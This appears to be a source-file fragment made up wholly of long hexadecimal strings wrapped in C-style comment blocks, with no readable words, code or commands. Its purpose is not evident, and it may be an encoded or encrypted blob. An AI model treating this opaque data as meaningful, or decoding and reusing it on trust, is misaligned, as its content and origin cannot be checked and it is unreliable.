04739e13284fcbe919fb13195540ee22b5a1423ca93662ea542e3873c1c3760ba00d4c91c7afa97348e2e8c002fe105072e4e8b07eaf5d38647f8fca6b7ae042267538fa7a07637c9b71e0bd82fe0e4feda3e3edf53cbc49c13a6ac983e6a7c0b55b7ff2b8c71b8b68a4687a5f6bc80956690b01cf7eea5ea1a038aa53589d81fd990a54257a803a7fa867c267b887985bac3e19387a8a51981dd837fa1ef1cee580583e1c161b57fc0aff0dede2b3db20b450482d3c89d7e3aef4dfd4a369dc67a8e0cc334faeece857e840df0903237bae9772d6a2b82dd41393fcfab1a515a33c58a06702acddaf98840109557933946eb9ac73063ec2c5f4d00b712b7eef76dec4dd27c8de580addb8b0cb7af40364e529ccdeb562f9973b9e920a6cf2bb086fb55499127f8f6a9bfbdab2f24ec3b7437df714f3d4c2c6468f96e22350418934c3737a011e6da1305169438818fc2e0accd5d4e8f49f127c95f49e58e99e33974b0f37d0bd8d558d36d2f99f9e7f25e5cf767a895625a4b26699529f7b95af03565c2b8b61866d0222f5f9295c8d3bbb103e13bb554fb14c038f46ddd20d17ad389cc58f435448ac4d61c28e84f2075dd5c5f3f5c9d15c4ba6d8f74ce3e231a6403cee1def9b3a7be49c3175ffb0271c1b7b5d2805b101dddb2f508ae830dc74526e797a6fd4684ea47af2fca7e753d5b8666cd798187de1aeb5f2ecd3a1b9c0*/
/*b2f4827963fadf1e3776fb5c2c310e683845f426727a31308c33ac314ed9bcb73cd4cf1eb0920182fb41b39894b2252cc9b02aedc75dda9547854bb53912594baf2779631de5ed10fbacbd2c1d008c5cc5ec5a54a8728adc27219f9760f47b9195e4b10729f03fac38e9e9c904655bf60cc59168a8e1d51ac6008e139013b636ce27f81e9d01b9588ee4c5c514f6abf1b8c570a594941937f8ad7d27b83cbbff2f12009aeaf7966b902566ba1dd2b2cef2f32e41ea96c5e7f2d14ee511312d184532bbb0528fdbf20f71b213fdc33b6a68c25b937d069de44022fe764b4acddfc59c1aedd3981c0a4dbc1f0f6f3a022d593d5facdf19fcf63ef188b93d1230f536cb42da1095d0caf02af4fd620de14698cd12ceafcef29c0c5fae33842bfa9e6f4aaa668f29dc3f10b3d5f6d8c9a0d08ff8177edfe9669e81a47de7516b43255ff8c7657ba49835f24ccbf577fdc4fa830722d157c5cf75c0471ae52ffc6fab3bc1d46ccb847a99995a1bd283c68343922e2d6fb93e717641957522f784a16eb8a706e365b254cecd7ce99c27c57d1478151996f4b8c2ef2b7af6f0236721ed5d8794698f74db14051ebd5c8c2a716fe4cf70f4f893d37fda99998e81a2da6951e7a92e64423d07da2bf1d1061a6fb4afb22b5b8fdd15e2b69431982c4bfc97f401b405f17eca1c1183d2eb919ff94177ffe98fc62d5ee90bb7d4710e9f632fddfb7581b18cc7f204c4ef01728c13d9c4d6bef76910a0b41198ab159fa0b44f2b64bc8f514a168b1cfb0d0dd8a6133e5929a308159ff98103f4cfb10df6525f00ca663dffb475f9e2b69a89d27556bcf64c260b437f0aac4b1dadabb458110063d2c212f8f5d7ee72138f74cf03ae034fff18ecf01885ec8a162b77eb3ca6a2e310826cca61bfca32b832a0f5d6c4bda97674789790416e2e1cc054bc957d44c6c6521676314cd15029e0baa4bf34c7916b27960357262f6cd34a224d6e2a4e97a9e774ddf957e9903be494c8998c307cf8116928f99a966a2076c8264ad957f372555199c7ce9d35e2ea7b128e6f6954669604605b03baeada0b5623d9d5e1c94b1894ffe6ee63690d3e1b9f677508e9210b629c6a96a78aa0201c9c7c9dd61a104472e2e8564108f5ff4c7953d25ca0cede350f911a571a3a612ca157ac8fe96b6900e1f43f55bea8eca570e68735eb48ca564819af5f1fedee20c9cbb312a1b432f116d938ec6121064cdac97cc7a4fa1aae33a8b5fb9709de39454c497b0acd387ac8ea75a990641bf7da67f1aea7f69dc92f61a908e3ec6b678dc60468c5864dc0d30aba8c9f867480acacf4261d2c6c979c69d515fb4941aea0257458f80d4fcfc1eb1d1725c46f7ba47096de20674ee4b057c98dee8a088db807ee7458bc4690f51a91b050d69a5c5757c5f401260df9bdf98945bad85bf80e203d184c50609ba857813c9074e5318f38ff87b876fce09d63cbe66271a8a1352d5f1007b902d7ec7c68b46cc631f3bfbf2bd8773700c72542efe230eb9a73032efc512e3e71a7b1900e2fc8110a93010d44b8d0759efdbe08287a028e51be1cb3180758daa5d9a862181d97bb2b35c99082d8e42a51608c133a3f64bfac3f680a9360b259de640a5aebd60d8c3572b810a8f216dac0cef842f80c9965bc760b2357eccafe8933efe95faac725ac6e45f4b49e1ad800d12fd93a3318de7340dc003321888a8c08a5c41e97e0f83671574b1197339a14fd871c40bf4f2af785a075150dd2f3e2a463f2bac3e0e434e7133cd8c31e56be646aacd4ace333cadd972f3a50a075630d0b87d23c5dcb18728baad17b04057ff0a7a32bb004cc8e58412a1d36127164208292a2635634b4b55d770a0dc06b9c1a716a0e984c2e39ebd3c508ab20ab09a8927b2d9c52bfbc7b0719491d74139996ed7bad3ddae3c608fe58eb5d4d59150bb73ada2dcb08b2ec882ca33b894a7ab1ed6ace4447c113ed364664ca7dc6084bdea6657a9fc86f49eee4747761a51feb7d076641f23ed5c25ae61b32cb04794afb6d911c4e6f62e849a813e6125fe506125a476dff576b2d785d75245b4f399418fe5da05fcb2d209d719b6695970af75118f27501a67e3f808b50423eff164a344247e7cb3a6c2e260190c3dd33a00ba76702841a7b72d656beb8c359416027cf14997e7e58f8875588582e79cd15b6f19ce58ccbf5af28c1ef09fcf46bd7a15d45f29fb0807f7aa0508044250798f568fd9b1454d57f900da9226c868fa9ae3fdca9a589e45aa3597a8a122396e57c6ad15fc7d18897a1590c6ac31729f7144a63dfb9b9b51efb76b319b0abcbf783a944c1a7dc6b184a12d00d3c344f15c7fb3d5b6d84e8d9c22ba772b796076375eb77730554ed5eb6511959b698ff83c392e168c6722d34985b6fd6b06c64fdb56508f67615188ab9d5cbb78c2b01ae4ad69273718ea4452f7c3749d50b05e4e2ee154dcf31e5f7a5d2bf0a8a100427e67db65025c2e00a2628a56f4af9f0d8c0a51da9b6639e4b93cae96e628631f03447d96c911dc91d8beeb34250e3aa010edcfc7282ba59d39a475edfbc91b388be3e05a8b25fa77ef1eb091f69974ec5835d2eee1867ae6960561f128621ab4a86287c2261c3edd87f343e3bb98a2ff8ba915b879c97a3d2e8001dae41f16065ede012a7f0d64792d89b26d4a626a3c2b999fe586aaa8847055dbc638ba942ba51e05bcef574ac2a49b15dc456a7721b705a864ccb35b4a18a35c4734caea34a51eb6e36c343f50f7709694a2628d8ca8a6abc0fdc632b22ba00a1e2e2b868f576dda03f7ff6118b0efa4dbb4d*/
/*ebae563c5a1ba6596e5296a681c357910ffec017534503b7860112f991246a78748f35b2eeb5b43d88286ab4101837ef7f199af804c45be4f3ee0453ee0d942a18da7d10f5cacefdbb233e1bb5852611163ee70d0b366801e31935f19ee2d0024f97daaf6e60aa40a5b7a7c5150f6848a68b4ac0c2763ad03851999a1c224eff96a78eb63b97aa56d80bc3c22c40c4a3c8aa8ae6ad7a6281b9f910f854ad5a8114a0165dea73e4dcf96f771b9798a119ff892c00292f89a2b1fdfbd7b4b94c4ba0ed83e7223a0757632237fc56940501359532d4592c07380cc7b37f5c9399cb1aaab6f7f62388a880fc20e9e66ad366facf00eb699dc3ecd89a7e9bbbf6323ec6dc11a170f20809907352970f245ad12db0a96ba3b878d33aa5ccd62c83deada571ff60c20d09c2dc40507a566c1a11aed66f7b9c6b7f93dceaf5e0d2d72f84a4e89dab522e945062bc47f0b5a589dad5e7c6c49847801a983e687612fe9a9c8ebb2c99b33215da08102751c583fa452f685151745e6c1a2d1916891015051521224365f1a76704f192249b46c5b7d992786f2e9a5f3b3c0f01afbc647734e7916893ff3439401cdd5787e19aeb84dd21a41e4de7c7570eb22827d4e23a0b527a60db40ec72426548e51ca5e160474e1e7144e59fff2662195573f7ddb507961ff2e8ba74a56fde99c49a3432e616c803d3b71dd2577f2aad9406887fbf9d4e689e7c24542099d1ee545eac85706abb9d76815057563430add0c31cf3422e6f3949e586ea801d609be3315a124727c5b5034b05fa9df586da8e4e5cdb38c3ca9ae6862918b35cd1215c3c75eb6b932e2eb668bb32d24c3dc971adb98a2a76e5a87ee5c373b36df164f3b4af68ffa10fa2f46f1440df4f74fff2f599eac1378cc45135a8a4541d99eff69743e10fd1fc5220fb8671106149d7914e3a65b0fc65307bb8176d6c89b211ecfda9a95626611ca6ef93809ac0815c55337faaab21048b9db1e2f80bb99cf93fef1852ca4127848488e3df712720fd7f3883781e7b2abf410892a85b775f196a108dcfbb04bb614ced4115f90aebce8b799943509616cbafb9efb0996ce5bcc8711e2861f911dad49c17298047e0bfaab2be724d60ecaa75803415dca4b4f5af07630d8a4ecb8ad4bcaef6d2c34543a22b22d22aca0edd84d407222ff58853cf3f8703b879432c094bad8ad5f47527ccff4971b5c82ef56da10b368e5add10982e3c5bc2396485b8557d7175ab116b8725413eb399c8dd56cd520d4cc478828ab995b4979b508de9d8e821215876d0aba634fa13fb734697891f34cf91cdef077f39dd7868880eecbfc1756458fb0e35febfa1de5eb29282c0724563d90acbb4304b5e331bb67e6e87907dfe51f8c8aecb08b28bb336dc87504a7889eeb9ed39d3f80e00372f0c206f2b516a960553fafa41f6cbfe241a726a280e048c94bb800235c90af56e3dfc492a2cfd45b110a806255e15332a46177e82c940d8f3a74a762a8286620f574223e3c6df02faba6214ff8b4159cd530128e491d09d9639eeec9cfcfd729dd892461d40735e6f04e521dc751c56dea4bbc40a1ae90eec89d186867fedf13998d99226e17cd517862e1161965e12c4deb50432676b701444b905ca202d50e914b2070f5f21a323d56668db75dce66338ad6f0c62842a4a6e04b45639eb47977643967a533f11517907998867d51c2046786cf90e204890da2fed4c9609e6bbfff42e108bdab7ff57538bc1ff858d57de65d9befbb49c537bc2e477c1104681e04331ddc4bf80a2c55ebe01a32e69749af42b8e61b69d79eceda65b42c067a39d0b1001ab63481fb07bcfabaeb0c21e3c0ed19b8db0f8736fcf3768099018a0170bd404c4c5745a83ac289d47999c2249fe46868fc0ed81248f2e3293f00646fa44e457b0a88a3cc0e425522effda33fd9e627bcd34aaed0971a534526f385f0d3963d7c5553718245ad74ace18bace556f16be56958b4d30a7e86a1b32ef6eab340469489a05269425958698bee56b69cc94554f84594d49cd77b7197d2fc007a08e9c74bc0c2e6c29b51668db063328c99c5c0049deb51bbc93e6f496348400a85dbce034727533655da0297ecec7ad669f14dce0d19c91bd8a31def1b27cbf12c37de28dbba0f70178b30b48ac01ba3ad3dbb843a8582b27b31c02fb19df4eceb72a33e5cee19cbf87cb2d2abb812718893b6b08741d988958178e54568395a9a12ee3e2eb00ad10f1519bb6e5d975eba0a130706d773e3201e0de687139f195a2de468a06cf056df3dd4a31416da92b14a9444ae30bf1d756b72bdf8e1378570a863eed7d8ac92906f22625ad445c69119373e0f7026dcf6c18d2e138f87418ac60110be036f83a550f4bde7cff986c831b8ff02a4c149f61acf73c387cb9690bb045548e846dcbd663bea8dd64d2e6ddd29880862d82229ba0803c02625d99db5fe443729e6540d5a324d942a925083356006753669be8ecc8c2cc132cd4c1f229a35dbda53de4b9394d344ef799abd8485d447ed2735627c73ecb76e41e1136224b532800ed44af1e2bab9c7d5ec9d0acf45f4b50f4eb03fc3365a6c84ed29067a7d912891933d54c67faf61fa73fbaf188228a8825659c0183ffeac7b911b1cec8b619a837c36070dce607c6b0327a770545b5b96787ccdf6d058c120c6f8c8f596893587d78283cd3eeba9787e1801456abcd969917dfac5f37db9e55717449d34f8b2798d2d60b0121c95d0ef94ceae418eb01c394f969431e00dba798ff48251310ad6ff97e5fb07c5c92da4ba23bbf254f8bf1c9729fea86b58a*/
/*82363d2e0488022233f3541a965cc6a093c641bf1d067ee404dcb039e9024b4967dc69c2917bacaaabbd231823f49e036f818324935daa6559c4c7d8092548160841e32d2683243232c11876346b3228b83816c1e5b6a87a94960b4da4b028b63bbd4578c8f34dccad09aa4ae0be8e6d2f31b27dc65e5d0b031323d0a89ff6e69fae195427f75d784a72916e4ab38ed42a2e2e6dbef462c47fbf76163c50a6ffd264a88ad1832cd51feda81a92b522e94e873e1c6132e472546d5d9d88673dea8b51377c88f5e68d6d3214579063371660943500c84a688ecedb8856aa59ff86c2267258c5918de15cee562af4ac8e2004bb89cf06d05fbea30b283de1172efa8a29b0693c9540a3897228732177b9ded520a7c4551777b5793214c4f7fbdd03fbbc5506f398b4bd45923421608550faf05baefac4c10b743949bc2cc540dadb55a8d5b278fd1a5df8fddbd4c4f039b7f426af268f168b8d2f543dc4a7448641af6687572f1a5419b961c1081ba9d9f7f67471fc49eb0db0178d6991263f3f780a62c205198fe74d7208d669dc462be6ed77ca86d42d66a3f9a4c676f207e907b8ef5afbbe5f82ad5f9a19215d4dc78ad4d62d885d61394aa03be4ea9ff176c51dba9c5f6473678dcaf41c2bfcf6ca78f5af4a63cd45871d70879bdb781c297a6b4c7c57f2d8274185e86cd9268bdeced2b5ce7f3bf9f62354e62ff84487ff86c1213d105b76570f7b40af546175e0efa9f6b515a4be084af77839e771412c73f267ebbb71ec0f260bb6017f761ccb0ef0b7f0280a3bedc5004b1b897205e37575c415f8726f4074b4b57134cba0066672688d7d2572483895996f6bc7e43d57515b42209fcedc8f2ddd5735423cdc098f22ac4d57ce666bca1823224f089ba4a25226b21aecd83972117e6d3c721045605af4d1889360e099260d6367c5edf1d70b7f830ea9b302a144a0e17357034a184a225ee3c89da1dbc533be467b7c6f2fda43106f1d9115787097ed9ba1d5f236106f5d1efb668a961119521fae6e46b609c42e760ef459beea2a0a1a9707163f58739b77e2510d7d695371b3e53db2bd4d05290bb3f90985c13904068d3ec8893d2627fdd557b7033e52797b441c302b928379288127db48cf713492ae55854c36cf42232fb26e5c47815eee04de1286d06dddb53827ac989634db051a55c056710c610c5f874b7581a10763598aa7b63c12fff942e4699881c77a6332981d8d5aff57c550c24db68fb02dae0f192076ab7de2de45669825cf805778557e315c882821ffe1280f5265a90920b52415e446ce83f520854fb678b592a205a7ece85b4e615b3d9f1c3e515d748e5c27e262b8b4010638071d62a6176fb5926e94665228dc2e244e339059bfadded7f6b2cc2829eb4155b534f17b51c62a8880596a8d69bf5cc0383ecdc0cfac9d04ec78c2eb417e7d15664a9a0a3690dad9dbc4fe4f1f4dfde04cb990b4599c8804986ea2eb3a438916497727383d72655dccf3ed882b385ed6f44f4933a1ebc736b93c4d7df281afdb9000f8cd9414636957940d6080e52cbceb40ac5ab5daf7a3d4b65ccac464f2731cca80da27f5ee6dcf6af9596686cbf89e3746e0d1d75e9a07a44d0efc1452ff763c1333c25759554b75445fe10167b26177f75d8bac323fa195367cf852f6ded6e051fb5455571ac641fba74ae5bf72b840dffee76a5985576093d67766f894839f50dfd2cc41888f568dd5b08ab34236c1214e0971ebfad3a94ba96905f97bd3d6a3e67bfad2054c1fd09972d7fa999f4a771687e40576c1be0b626845738a56cec24f14f2843fa0d9bbbef98bb60c4840b1ea187fdac61c059ce4d0063f5f0006e26b58157ee05dd1c3c4b3041d13f4e22d3e37c4d9d787989c417984a795336f14c84c7ce59bfc9095793996421b197082a7ba3158d7b3dbe4d76bff1e4801821c59d95bfee572a5cbefe244d7e3174939b58bfaab2b2af3992bf4d05967f5c55af3df0beb779c93d26a76fad24d498935dacf5cf0a504cb832c1535005f5d2204afc43a3fcb3961430465d92a44deeb0090f8f1851286d076ddc658a6a2a5082be8725efd93084f9604f74ea5c4ed3696468639e0f05cbcd41b2390156b3474ec4b3e40d35232ada1c4b463a80a117b594694283da9a631026e9b9e8266c68b8a663332208b94a600422993884297a5dc12d3425893532e906e204b0ec09806b038aaa9ba9531b1ca6192d9e9480e06c250b7bbad68659b3fd0125f71e27324d22221779a9333d13dd8f745d1e208c0cab93a8e3bed9bb7888f88a4ff98dd18edeefef519f8d03a14c7cc74a3712e3280b6dc98806362e4fb623f97073999460de6105046069e3984045dc5aa4a3a2993d278c5ab0fbb70b8df2bed05ff083f3e4a9f26b631e38e05a435a39e71bd14095485bcefa199e3ba28968593bf41a66fbbfac7404461f64899bcc96deae0206df13711abe4f1a132de42a18076b32c77fb0a83064b09db476ae9640ca724f3a18e2b7ecab3b01adaef2f79e4970233b3180d5b791e396094e7e47c3bd9e59dc8178b436852b4814330d43729307dee694f3c96a230e2dca93cccd45d5959183656c5a09be3bc1fabf984f651b4bcbf603070d5dfad279682d955a8fecfacec734936a7c5093a5d8975f51d50f5ddc42208b1c825296b1e2119bd7b9891d1b49de4fee89fe967176b29679fe10c050dc859972a46a0dc5f01cd31d51f6a70b5fc49e70b2688ce9a665ab80284810e998368f27b5e109f00ec63f8d1da5ce7e4e98b7884c6bc79061bba5be9398dc485c6c72e6722904fc1*/
/*827653e0d3a1c54fd9ad1f8e18c617ac99548e81e8a9585f5bf24fd5f2966e0d3082fb3c2bd3e589bbca8554a81813ff63ec93469598bbbc2e0d9d0ab90bf966eeea661b645b891247573f69ec73296e080306aa660067c5181f9fe66ac488494978342728d4883432afe045c4705daab17e579298f29a02ba1e0a31ac1f2fd05709eced7db303998481c536ef34392c3f2dd6fe70fcf5f6c0ac0ad6fcbbf82ba4a1ffee385d7ddd96e1754e7284375a9c35fe4cd0b1594d7b8e1b7b968acdbd2b5a72d6247eaf26105d9f6304bdc527f8df2b0557d674edc4cbaf70d58488f5a31c18596a85c811f9ada6951d6171b5de7aac383ef65ebb16826cc14cacbb4c4211c3008c69eee23ff4b872d4e8888b5c969918f1f34ae43a3a07a40a67840f4f627fe3631c46a1bdcb74f9a42f1354819314401a3e40bca87652f0a6d060473c1a28d052b817280bce4932cf65d3d82ad21aa89844d65d113828f652f759e15af92a0951db8f3471a4b35f978aae32d8678ab5432ee51a2604751b118e6366b47ca71e02dc4c0a00faf06f3a7f59a5c34124957bf2b26598d86a1ce53713359aa7ccffb9ed74fd70af6dc82c9c77c9cbbea2dd4897de9106c33e2949d6528e01d13f7be96bebccb4fb9e63d10b5c798c706c81066efd31dad4d53030443dc57480dd240172e09c4a942af15196c792ed2272318e26a2d0d209a12d2dce609249f7c83c489540220b7eb16a855a1673e1b235e625a97daf8983365a223cc8da0a1eeea85b85ad28c36c17b5ad4aa1174bce0359e38e868e02d704997f244a10c54fd271ef26454764b3ecc6ac609fa74190465713f5ae363bb1c906d716c10bb2485c8d9bd2efc85c063f1661117801492fe2953a23aa8c8396636c260ea7382007c49236ece42ed91d4395daec3a81445afcb09b1d1d38898498c2edc871b6bba266e1c34d5953b7a783628ed02f892889383c9879cf5d2899fadefb729728fa544fb3db5c06640bf423fc71422cdfc8b9685b5c6e077feae1c7fbc56416fd8f27912787264b11bf055d90d96d6d46cb4b71c7fbe7dcfea3ae59c1bdada6545e658fc2483b86f2e9908cfef95357b3d843fc504db300847b7298cfacfe76abc6480589e185bca90ca5b8e337c7fbb9ce163d495e0a26e8704299640d15331027bbcd0c7d2021ee7bcdadd9bdb53c52b82c857a1f51d2aa8bfb3cd979595d9605c84dbb420f777eb9d5950c8cbd8e2755f93ca2f06251166f9c2f062a36ceee91fb59b51e2c6d1302fc4a248ab6bab4b30bedcc16e8875dcc12f0b641dc805ee1bf17e20c24ab80c8e9fa1abb9e3a5ab7ee0332e4d0e39c039a68d9b3792f01e0bee0411241a90edf382b358de97ff4def0f530a31a905f3cd0e5cf53125be6c9e7f0625c746cd5c7695c37b9f84e285e9d09a7f63b30629a394b832376dbf52e5b3430adf71b8d9698d7952856721d8905cc51e983139c80e632c4d4d6436987a789745a59bfe23c611b4c81328db83e147b97764fde83cd47695510392e32fb0e33d8374f6db00953dcb2acacbf0667dd6d553f08bcf4db1d5e22f8373a9b7dd7aef5953675ce2921e5b00a4427cc2ddab36d8dfd897a494d1d82a0007bb947242de9a8df75fb903b78e47a649b29537930241451f0eff9e366fc96329024c1e1ad4f92da7a02a09a9be33c9bedd5cc5e6e72958c18b0d40b5bc90440c0fbdd46d4fd9fee9f543c106f697b9f8f6537d5503bf5e03a2cc60ca297239af4e3d2fa20d22e04ebb062c8e4bb8d3394acba7ddb390c1a43d3da9ee42110e6ed79d2a3fff5e0cc868610dab22227b2cd92f538b853ec21b500dfb8f6e16f469c7665d6e315e14057684d744ab752694f4f23c5d5c651f091b0c35eed69ffe5c6520b53b00b0cfbc5885533f6df9cd09b0b863e93a164a2c9fa0724ac76b22436efc196bee23f9a7128003d2b236039a7f2d55405e4280f8f1b275c827df849517ef2d7a14398982bfa7aca8c9baba29fd4473e1fd5d9c5528d20fa75b6b36dd7080e1f8fb71453ff70ef1bd09eb9e4f9357c1d11239b61a6980e91d3d146a72e6d14656c1ac0a53f6066a5daecce345f5bf402df61c20a1bed17941fcd3dfd246ce0e5ac81e44355853fb2d73d8c951f08c36808e6b5674c9fc21db366c20ffe6e7fed134d58a92ca9fb5f2a0b6fd36e89ee4f29ec86548ea2a7c879a22e262d618faf8640ccdc450c70330fb480dc2ccec29368eda89072efe3a8e8243a8d4200cbea63302019b245b2e5b9442e3c15a6a0baf1f3021df5ed0affb4abf3fa5573865b6fe93403ab0f0f5ac411f29ad78617619b4bc76b4c319478a006a01f28bcdd13db46aea3e429d155f96ee0759d26f84809df79cb1adf3a1e05a8a30ecf8d8d04bc55b2fec688c837100a44f4022154a47e4866d2ff8cf2f40880d043973f19b61798ca325acbcf48322854a04042e61208039f2b1d4b0f2df5d55871c48014be24f417b3fd7970a7e541b21dc9f843f347696eaf1e910d6489286cbf97d01781957903bd82d66a0f6d71ac76cbc7d4a178b3bce7dec5d84bb7431eee15dde342c98b934176e147af558e29344b16ea01ef2752192c9081d204a2d5ef8fea25548b1d4d90ed090ca08f3bc1d9e5417cdaa97f7189b6ceb145920b398513ec0ea874a2ecc6c32798633cf313fcd5e91c12a730ad8a39245e0a9a3e1e4d3aa0dd007b131e554bec08a974b199e1712d8da2ad1a04f478b0c0176d12f086574cb22bd3cdfb10dc4dbecbcd87929b6b7a1b941aee60add89d4a3459738510f8b08ddcd4f115d0eba8dc61eaa89acf2fc1*/
/*096be79315232b96c1e31f3997696daba59779897783d9f8d3985177cb426a08c4163b7905a7b15c4045a3647c1ebc35f36ecbbc48c37d2f7c89f1acf8d2f89b85aa72dc3c1fcae77d35e49e57ae1123d6704c2d0f1e6ce2260733dbb3d4bfe44f4e7888c76afc4c23ed5b7e53d6d8541faa1a9ad87d1bf813687b34309666e65f5b111752be652ffb85416dea55c3a378f17cdd74919edff619a72c3b749fd7235df2c60bfd098a4fa93e28b840fee475f962bb692c3ebbbf0335b02eeec2c273e987130b46c0e0bccebeb1dd939aec9623567f7e6380e8da1f049a89ffbdae3d83f25c797df33ebf098f6e574d9b68101e07d3e1ada1c1005b8e3ceb416ae3124812f28e06c2eef3d907ca39654260a61fd783192d25c4d5975ba8fb38499cc218ebbee155cce69c5b9752df9e1e4e77477d4afaa0927fe675026afd528da225aa8f991bd2f7c78a3da46e12cf878db3bb3971d1a2081e20e6711e01ceaa94f1e20dbec6a5553b6c273eabe14d7782f08daf8e61a0f5f9aac36f78f8c8391105cfa277c895d713523c9cd9bc64dbe32cea741090df0883c49400d04494326473c4b28529d571c3c2df462005ee8c45ace42efefd8f0fd05407c4aa68950a7f2fe7cf7b06955d288c94e34ef7c30655cd7b79bb46931c73fc8daf43f3fba4eaa8b5e4421d38c8d21217184b68eee4a63cf5c5504be2e7fee9b213eeec28204714d19e6dd6738b2cee4209439a4f03f7b5b0a75ccf432090f2ed6b8d0488ef59fbc81c4750b5ee00f9e35c023cc1f71b8a3330b471c08cc36361e29e7d86bbd190ee02534166bfe70ac18c190c0a4eccd58200c72526f6a00c970b799c7660029475a237a3a20b43769559760571795a5f2cf5194b30abbfec7af3cc7335fd8d0e088930f3694ef9a6ef0e7daba332d33f03c82c51b8abfc8e4cb285cd42a5a33739bb8239d3c934612c365b4cc6aa20d9bd18cf181e47d1c83d272906c50a025aecc1904500543d56398e1abc6dfcc38db6542e36c1809d95a85f51a4a04e4121723f7f2a14c278072b54da27eff3fef125b9a7568230737b1494b1a9efea32ab0423fad1d20ec6fb787e1b8f6f87634c1893fdd557f0408280ef0927c42ccdcf0be09f1ed0aff57e8400f6cff7a5ab30a561a855d33852052a0680a04f0a8fa2389f59785fdea9aba00f9d680a32001487efbcbd2b4be2a7225c815f0acb083a409ee518e293dc73231e060e1c21db78d13ff8bb5ed249efe8818d5ceea2ec8a484508e9c3608cb083a36c1db9e86f0ecdda25db2797b1f6b0f76d30226a9beeb561a9ec4c74e42ceafe1c46262af8aab743e6cd921b91f01c1b5aac5038cc3f5dbea85309a4f0ec55450f281ca1ffc48a3f13f7150d25b039ef2a58aabc90a0b00049524a4a9b21e8e9454815d5c8af79bf6a64d9a2ce27c75a6d046381710744a39aa75327bab3c12e5308947921473181979254a5224463b3301501e6e19a21d488ab5917cd539433ccbb543dbab9a3181253808e8aad885761e03ea7058a9405de43e51ad3708880d67aedf5101a517d9c216e0f6f2bee42e37196eb8edf8424a4a991b2268f9dcd297e7bbc899daef7f3718a9ee1c87b65a0a6e293af3a3094ed0b0b82a67c5c984a728489045d89e5d2771601d513d5c9fedb6724579820bc3ba4967e7388d22a806b1596b5f3ef7e6e8baec63415c2f6a8532cad16cca6bdddfdfdd6e828b6d303f46bd13eb999379c2019aa7cfc4429543cdfad8afc0609026d6e02bbdd77b58631d50878eb5e9e81717def1245ec1ffc7b798aeaf856c2463f10b4e96aaebe05f645415f7cffded6c0dae4cb8ff1f77a5e8aecbce1776802138160490d1934e6a9bbb9f4449c5ba1764e58cafc9fada12af9078000890b9a97b6485fb402b515ae752f7c3c994d8f3ba30b83dc31dd232b5f1ee55af7793fbd2868d5db35fdcc27d8f48b458bb57925b373a26b5020086f16c357ca41881e85a7d8c9349806c093006a3a428c1cb4c780b9c407b7c8271367a867bc2ebe5b0c38c6bfe0e8fb25c435d7c1b390beba9e28d4d5118686b111a61a410295125f3bc7063be8fb126d1a060505742aec78c6c6bd1f623c44c68de2f0e945dfb0eead50f0b15465f0610e28d19c999b71806c117d6dfa069bb0343ca8a5b77bc950401ed873e4ac7a39c711750da5318e3c9eabca5e6471359c73e4ea27c17b552df50536e7d35031ebb2013a74a44772520f21d31e294dd7970af399f1c935fb7f8e3634a8bcc695c0864f07e3ef028829f388834bca31c9bea8cbf7c3d66c66d01fc96ace3cb364066ba9e7241a898b971c9f7725dbadaa089559c4ba92512ce1d58dfa8915cefe174dcefe6f9772d5b298dbb7ab6665ec328bb99b7f914478b1c9ae5df2002e3cd09caaa6a3b2a324c6faab59764290e40068f621d16ef80d85c4954ec21327277abb4ff843d733e44b552df5da0d3798bb0d22b6e0bbf33b1a4d2d57a9418766e61e0875232ad27978ef305fb7d39e9328499303c698223e44fd7707f661f71396deb3c426f3e6950c1e08f1543499e2e55c32f509187583c1f42adf4ba61e7de6009942b3346927869593d7d2a2240a067cb793063cbc7081b1df05a8692b468edf44adf91babf6f647298c1f3e5064f002445dc13cbc25f9b14215119541503187e7329923211af7ea80001241ee761ac769b3d9c1ea9b5bd3b25dc37ba3bf10f75046fe308dd38679f89634a8b2fb0f28a8b51e310ff422d74fc6d04e125f61ffb77fa0f7ca9d4ff647b6b96b193956e64d91df4869a87a34223e86c8fe16fd05f54030*/
/*fc827abf1ae2b72fc239b6db8acf0faff4ec329dd8a593a7204fceb090af41edfa677fa6d311270c8f4d8f9c082ba6140a0c4f90cce4867676df11cdb336236b3b05c3ce287536860fd2eec0fbb8332484b1194cd18c291f182c01842af3ea1a79830e57c11ee721d94c8680dcdd78b767150907b59c71e77b99a25d4249920331560bc1ec8a00aed1081c2fbf936b6982985c8c1fbb3eaca0c7d4250a803d3a7f2916b276282e0dc3b5fb2b705ec0831f731dd4ea12974e52774765d63d46c597e05a32c6790078709b60ec6739d00680e221c81704d773bada4825314706ece17be46ca5c47b2c1ff5773b3fbfedd10def10a9b2048a483d3d22939d01e6ec6a98c02007e1fc4c57478f3948f77d937600e8e9e13bf60c87f4af202a8094d71db581a0ddd67cb07af66c9fc695471ce4b840e4bdd3502ef0b13ae944421d38ea4a20b673392fcb4e7961f3da02832e1df376e4c369242c702f967d47639d4eeec67f5f8924e5a3e9259acff360ef377ca88c15eff8db5507c320183b2e9ce150a20db4c5b4ae1d749b10941ab7e8a19eaf212dee49264245b9537fe6cc9f25b22067566f1132fc32934f48828a0853e4264b0226c9021613230229c4281aa01c81171f93bb5d078429bec9a4152565cd92e8e60e1a2be193bf04b2da3f4a1e0756ed7014b9f88341441554e8d4f775c59cf7dad4e22eee98218d433ab2de9e36257bb77d1d10ec6bcd4eec9db77f5728a1629eebaa81ba94f205eb27a659003b287d62c866809a0d3382037b4b926d5fa237657f9f4eb80c000f8563594595038c9bd9ebd7618a61a531ddd19edf488f7716321990de9ac3eb77a098790ba82b26ee2f074dd069d2067ecbba15ba474380ee99c243ac682287839645bcca507db79244b2409c204c2a6e32b17ac8c2aaa66813643e468554a3e986dbae57f6feb5abc24676ec18e3ee8307b2fab9fc083246d0f23275b904f6d6dd81c2f42a121d823fdcf5d698bb97fd69cd96ab0350639b996f28062ac0b5ba4275ac74a3c82d7c60468f7f7bb7ef51c825988a78c8b17d4c4f029ea6147b2580cd7a0b6e3052e5bd61997f9fde06b5b4d9b4e65b6464fa84773dc665d81aaf0d63eddb2fbff1af07f2cdb328924f7b63a2cebb40c774dcc29805537c9d67a437d0bb871c4de0245172b602771c49da45e76a21af8dec58495275d71bb8885aed84842a9a9db0a844f41d2881eac6b92a8249d82840e3217650f1f613d324ab567b26723e6acda43cdaaa997e815d10d17f458351681c88597c0c195f87ebdc3cd32cf46c18d000e7a050b71b4ee28159d96b6d515d770e45e260b990c1d0b51c3ce56642e53861a88eb603def4d312aeabda32d036bfb1a7d2f7dc7f86d884ae054c9f8cb6a8a844f3508ac2f693a24a2e65b7342f62abf6373f554ec13a2ea7fa53a14c3015b1bdc9c482cabe5b21d588149b7a149ec8